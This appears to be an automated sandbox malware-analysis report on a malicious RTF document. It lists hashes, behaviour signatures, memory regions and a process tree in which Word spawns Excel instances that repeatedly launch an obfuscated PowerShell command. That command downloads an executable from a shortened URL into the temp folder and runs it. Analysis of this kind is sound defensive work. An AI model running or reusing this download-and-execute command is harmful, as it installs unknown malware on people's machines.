Analysis

  • max time kernel
    117s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-13_104457.rtf

  • Size

    1.6MB

  • MD5

    c72b6a05064912fded813ede3595c6a5

  • SHA1

    95a0fbdffa5f2084831716f1a488f8c3f1c7888a

  • SHA256

    2644a076e344cf636e095c35ddec6cae24836bf76793fd311814075d74ec4f62

  • SHA512

    0d36c16e21726c4143267872a660886cbecf0bc93b3abe80b4174a7a8a40fb28dcd023ae0d4cf006656ba76dc4a90cf4f8113707d9a0dc5895a77bbf54130cc4

  • SSDEEP

    12288:ZHqKeOQqKeOQqKeOQqKeOQqKeOQqKeOQqKeOQqKeOQqKeOD:Zz

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bit.ly/2NmQqH7%20

Signatures

  • Process spawned unexpected child process 9 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-13_104457.rtf"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1256
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1816
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1012
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2836
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:628
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2940
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2316
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2620
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2608
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2948
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
    • C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe
      "C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      PID:1744

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      92b77e2823ecb1fd34d5d2cfe8f06b21

      SHA1

      c8a84f6737fcfe111bf009a547add1e46a0b79b3

      SHA256

      ee19771e8e036f0ad30ce6b268627ca3c7208c3af45ec7f671c6f5b904b086cc

      SHA512

      a934f19004a5d604972f91c87791e6eaad625715b0f086af6d464dfac3940065caa2748a67c74608dcfb1c661458dd89b906a5ef704b8e4b9308dcc8f140932c

    • memory/2280-48-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-100-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/2280-10-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-13-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-14-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-12-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-11-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-15-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-17-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-27-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-26-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-25-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-24-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-31-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-32-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-30-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-34-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-33-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-29-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-28-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-53-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-55-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-54-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-52-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-51-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-50-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-8-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-9-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-22-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-46-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-45-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-40-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-39-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-23-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-47-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-56-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-21-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-75-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-83-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-94-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-71-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-67-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-61-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-59-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-58-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-20-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-19-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-49-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-101-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/2280-18-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-16-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/2280-7-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/3068-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3068-0-0x000000002F521000-0x000000002F522000-memory.dmp

      Filesize

      4KB

    • memory/3068-2-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/3068-95-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB